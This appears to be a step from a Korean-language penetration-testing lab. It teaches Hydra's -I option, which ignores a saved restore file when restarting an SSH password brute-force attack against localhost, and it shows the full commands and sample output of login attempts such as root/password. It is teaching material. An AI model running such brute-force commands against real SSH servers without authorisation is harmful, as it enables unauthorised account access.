-I 옵션으로 복구 파일 무시하기
이 단계에서는 -I 옵션을 사용하여 기존 복구 파일을 무시하고 새 공격을 시작합니다. 이는 이전 세션 데이터에 관계없이 공격을 처음부터 다시 시작하려는 경우 유용합니다.
먼저 복구 파일이 없는 경우 -R을 사용했을 때 발생하는 오류를 확인해 보겠습니다.
rm -f hydra.restore
hydra -V -R -L users.txt -P passwords.txt localhost ssh
오류 메시지가 표시됩니다.
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
[INFORMATION] reading restore file ./hydra.restore
[ERROR] restore file (./hydra.restore) not found - No such file or directory
이제 공격을 중단하여 다시 복구 파일을 생성해 보겠습니다.
hydra -V -L users.txt -P passwords.txt -t 1 -W 2 localhost ssh
몇 번의 시도 후 Ctrl+C를 눌러 공격을 중단하여 복구 파일을 생성합니다.
이제 복구 파일을 무시하기 위해 다음 명령어를 실행합니다.
hydra -V -I -L users.txt -P passwords.txt localhost ssh
이 명령어에는 -I 옵션이 포함되어 있습니다.
-I: Hydra 가 기존 복구 파일을 무시하고 새 복구 파일을 생성하지 않도록 지시합니다.
출력을 관찰합니다. Hydra 가 기존 복구 파일을 무시하고 처음부터 시작하는 것을 볼 수 있습니다.
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 10:10:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 11 login tries (l:1/p:11), ~4 tries per task
[DATA] attacking ssh://localhost:22/
[ATTEMPT] target 127.0.0.1 - login "root" - pass "password" - 1 of 11 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "root" - pass "123456" - 2 of 11 [child 0] (0/0)
...
기존 복구 파일과 상관없이 공격이 첫 번째 비밀번호 ("password") 부터 시작하는 것을 확인하십시오.